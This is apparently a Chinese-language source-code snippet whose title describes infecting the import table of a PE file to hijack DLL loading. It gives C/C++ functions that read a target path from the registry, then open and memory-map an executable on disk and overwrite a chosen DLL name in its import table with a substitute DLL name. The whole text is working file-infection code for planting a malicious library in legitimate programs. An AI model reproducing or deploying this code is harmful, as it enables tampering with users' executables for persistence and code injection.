感染PE文件导入表成员实现动态链接库劫持,C、C++ 源码,感染 PE 导入表 动态链接库 劫持。
/************************************************************************/ /* 功能:通过注册表构造目标文件路径 /* /* 返回:无 /* /* 名称:MakePath /* /* 参一:注册表子键 /* /* 参二:键值 /* /* 参三:目标文件名称 /* /* 参四:缓存 /************************************************************************/ static void MakePath(LPCSTR sub,LPCSTR option,LPBYTE buffer,const char* name) { HKEY key; DWORD length=MAX_PATH; __try { if (RegOpenKeyEx(HKEY_LOCAL_MACHINE,sub,0,1,&key)) __leave; if (RegQueryValueEx(key,option,0,0,buffer,&length)) __leave; if (strcat_s(buffer,MAX_PATH,name)) __leave; } __finally { if (key) RegCloseKey(key); } return; }
/************************************************************************/ /* 功能:感染PE文件导入表成员实现动态链接库劫持 /* /* 返回:无 /* /* 名称:FileInfect /* /* 参一:目标文件路径 /* /* 参二:导入表成员名称 /* /* 参三:劫持动态链接库名称 /************************************************************************/ static void FileInfect(LPCSTR path,const char* name,const char* replace) { DWORD offset; LPVOID buffer; HANDLE file; HANDLE mapping; LPBYTE module; PIMAGE_DOS_HEADER dos; PIMAGE_NT_HEADERS nt; PIMAGE_IMPORT_DESCRIPTOR import; __try { if ((file=CreateFile(path,FILE_ALL_ACCESS,0,0,3,0x80,0))==(void*)-1) __leave; if (!(mapping=CreateFileMapping(file,0,PAGE_READWRITE,0,0,0))) __leave; if (!(module=MapViewOfFile(mapping,FILE_MAP_ALL_ACCESS,0,0,0))) __leave; dos=(PIMAGE_DOS_HEADER)module; if (dos->e_magic!=IMAGE_DOS_SIGNATURE) __leave; nt=(PIMAGE_NT_HEADERS)(module+dos->e_lfanew); if (nt->Signature!=IMAGE_NT_SIGNATURE) __leave; offset=nt->OptionalHeader.DataDirectory[1].VirtualAddress; import=(PIMAGE_IMPORT_DESCRIPTOR)ImageRvaToVa(nt,module,offset,0); while(import->FirstThunk) { buffer=ImageRvaToVa(nt,module,import->Name,0); if (strcmp(buffer,name)==0) { strcpy_s(buffer,strlen(replace)+1,replace); break; } import++; } } __finally { if (module) UnmapViewOfFile(module); if (mapping) CloseHandle(mapping); if (file) CloseHandle(file); } return; }